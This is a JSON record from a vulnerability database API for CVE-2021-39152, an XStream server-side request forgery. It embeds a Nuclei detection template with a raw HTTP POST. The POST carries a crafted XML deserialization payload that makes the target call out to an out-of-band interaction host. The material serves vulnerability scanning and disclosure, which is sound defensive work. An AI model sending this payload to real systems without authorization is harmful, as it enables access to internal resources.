{
  "_links": {
    "capec": {
      "href": "/api/v1/vulnerability/cve-2021-39152/capec"
    },
    "cvss": {
      "href": "/api/v1/vulnerability/cve-2021-39152/cvss"
    },
    "cwe": {
      "href": "/api/v1/vulnerability/cve-2021-39152/cwe"
    },
    "enrichment": {
      "href": "/api/v1/vulnerability/cve-2021-39152/enrichment"
    },
    "gcve": {
      "href": "/api/v1/vulnerability/cve-2021-39152/gcve"
    },
    "self": {
      "href": "/api/v1/vulnerability/cve-2021-39152/enrichment"
    },
    "sightings": {
      "href": "/api/v1/sightings/cve-2021-39152"
    },
    "vulnerability": {
      "href": "/api/v1/vulnerability/cve-2021-39152"
    }
  },
  "enrichments": {
    "nuclei": {
      "nuclei": true,
      "nuclei_template": "http/cves/2021/CVE-2021-39152.yaml",
      "nuclei_template_severity": "high",
      "nuclei_template_yaml": "id: CVE-2021-39152\n\ninfo:\n  name: XStream <1.4.18 - Server-Side Request Forgery\n  author: pwnhxl\n  severity: high\n  description: |\n    XStream before 1.4.18 is susceptible to server-side request forgery. An attacker can request data from internal resources that are not publicly available by manipulating the processed input stream with a Java runtime version 14 to 8. This makes it possible to obtain sensitive information, modify data, and/or execute unauthorized administrative operations in the context of the affected site.\n  impact: |\n    Successful exploitation of this vulnerability could result in unauthorized access to sensitive internal resources or services.\n  remediation: |\n    Upgrade XStream to version 1.4.18 or later to mitigate the vulnerability.\n  reference:\n    - https://x-stream.github.io/CVE-2021-39152.html\n    - https://github.com/x-stream/xstream/security/advisories/GHSA-xw4p-crpj-vjx2\n    - https://security.netapp.com/advisory/ntap-20210923-0003/\n    - https://nvd.nist.gov/vuln/detail/cve-2021-39152\n    - https://lists.debian.org/debian-lts-announce/2021/09/msg00017.html\n  classification:\n    cvss-metrics: CVSS:3.1/AV:N/AC:H/PR:L/UI:N/S:C/C:H/I:H/A:H\n    cvss-score: 8.5\n    cve-id: CVE-2021-39152\n    cwe-id: CWE-502\n    epss-score: 0.11377\n    epss-percentile: 0.96008\n    cpe: cpe:2.3:a:xstream_project:xstream:*:*:*:*:*:*:*:*\n  metadata:\n    max-request: 1\n    vendor: xstream_project\n    product: xstream\n  tags: cve2021,cve,xstream,ssrf,oast,xstream_project,vuln,vkev\n\nhttp:\n  - raw:\n      - |\n        POST / HTTP/1.1\n        Host: {{Hostname}}\n        Content-Type: application/xml\n\n        <map>\n          <entry>\n            <jdk.nashorn.internal.runtime.Source_-URLData>\n              <url>http://{{interactsh-url}}/internal/</url>\n              <cs>GBK</cs>\n              <hash>1111</hash>\n              <array>b</array>\n              <length>0</length>\n              <lastModified>0</lastModified>\n            </jdk.nashorn.internal.runtime.Source_-URLData>\n            <jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>\n          </entry>\n          <entry>\n            <jdk.nashorn.internal.runtime.Source_-URLData>\n              <url>http://{{interactsh-url}}/internal/</url>\n              <cs reference='../../../entry/jdk.nashorn.internal.runtime.Source_-URLData/cs'/>\n              <hash>1111</hash>\n              <array>b</array>\n              <length>0</length>\n              <lastModified>0</lastModified>\n            </jdk.nashorn.internal.runtime.Source_-URLData>\n            <jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>\n          </entry>\n        </map>\n\n    matchers-condition: and\n    matchers:\n      - type: word\n        part: interactsh_protocol\n        words:\n          - \"http\"\n\n      - type: word\n        part: interactsh_request\n        words:\n          - \"User-Agent: Java\"\n# digest: 490a00463044022013584230e95c85db5dc6be8e7ae4f73d413ba77c213379e5164ad1f7c3c2621e022008054d483c9f0f334e7d564742b2a8a11d03abc443ce3c2cfa3e950e251fc67c:922c64590222798bb761d5b6d8e72950"
    }
  },
  "vuln_id": "cve-2021-39152"
}